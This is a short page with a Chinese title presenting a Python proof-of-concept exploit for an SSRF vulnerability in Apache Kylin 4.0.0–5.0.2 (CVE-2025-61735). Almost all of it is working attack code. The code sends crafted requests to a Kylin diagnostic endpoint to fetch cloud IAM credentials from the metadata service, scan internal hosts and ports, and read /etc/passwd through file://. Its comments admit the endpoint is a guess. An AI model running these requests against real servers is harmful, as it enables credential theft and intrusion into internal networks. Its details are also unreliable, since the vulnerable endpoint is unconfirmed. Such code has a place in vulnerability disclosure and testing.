CVE-2025-61735：Apache Kylin服务端请求伪造漏洞

# CVE-2025-61735 - Apache Kylin SSRF PoC # This PoC demonstrates the SSRF vulnerability in Apache Kylin (4.0.0 - 5.0.2) # The vulnerability allows attackers to make the server send requests to arbitrary URLs. import requests # Target Apache Kylin server TARGET_URL = "http://target-kylin-host:7070" # Step 1: Attempt to access internal metadata service (e.g., cloud metadata) # This can be used to extract sensitive cloud credentials def exploit_ssrf_cloud_metadata(target_url): """ Exploit SSRF to access cloud metadata service. Example targets: - AWS: http://169.254.169.254/latest/meta-data/ - GCP: http://metadata.google.internal/computeMetadata/v1/ - Azure: http://169.254.169.254/metadata/instance """ malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "url": malicious_url, "method": "GET" } # Adjust endpoint based on the specific vulnerable Kylin API response = requests.post( f"{target_url}/kylin/api/diag/project/download", json=payload, headers={"Content-Type": "application/json"} ) print(f"[+] Cloud Metadata Response: {response.text}") return response.text # Step 2: Internal network port scanning via SSRF def exploit_ssrf_port_scan(target_url): """ Use SSRF to scan internal network ports. """ internal_targets = [ "http://127.0.0.1:7070", # Kylin itself "http://127.0.0.1:8080", # Common internal service "http://192.168.1.1", # Internal gateway "http://10.0.0.1", # Internal network "http://localhost:22", # SSH service detection ] for internal_url in internal_targets: payload = {"url": internal_url} response = requests.post( f"{target_url}/kylin/api/diag/project/download", json=payload, headers={"Content-Type": "application/json"} ) print(f"[+] Probing {internal_url} -> Status: {response.status_code}") # Step 3: Read local files via file:// protocol def exploit_ssrf_file_read(target_url): """ Attempt to read local files using file:// protocol. """ payload = {"url": "file:///etc/passwd"} response = requests.post( f"{target_url}/kylin/api/diag/project/download", json=payload, headers={"Content-Type": "application/json"} ) print(f"[+] File Read Response: {response.text}") if __name__ == "__main__": print(f"[*] Targeting Apache Kylin at: {TARGET_URL}") print("[*] Attempting SSRF exploitation...") exploit_ssrf_cloud_metadata(TARGET_URL) exploit_ssrf_port_scan(TARGET_URL) exploit_ssrf_file_read(TARGET_URL)